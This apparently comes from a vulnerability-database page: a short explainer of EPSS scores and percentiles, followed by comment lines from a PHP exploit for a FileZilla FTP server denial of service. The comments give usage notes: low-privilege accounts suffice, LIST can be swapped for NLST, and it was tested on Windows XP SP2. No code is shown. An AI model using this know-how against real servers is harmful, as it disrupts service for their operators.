EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#
# special thanks to rgod for his first advisory about "STOR" Denial of service, see: http://retrogod.altervista.org/filezilla_0921_dos.html
# and for code in php I never could write alone ;)
# This one works fine also with an user with only read and list permissions enabled
# you can change the LIST command also with NLST or NLST -al comamnds
# tested on Windows XP Professional SP2 all patched
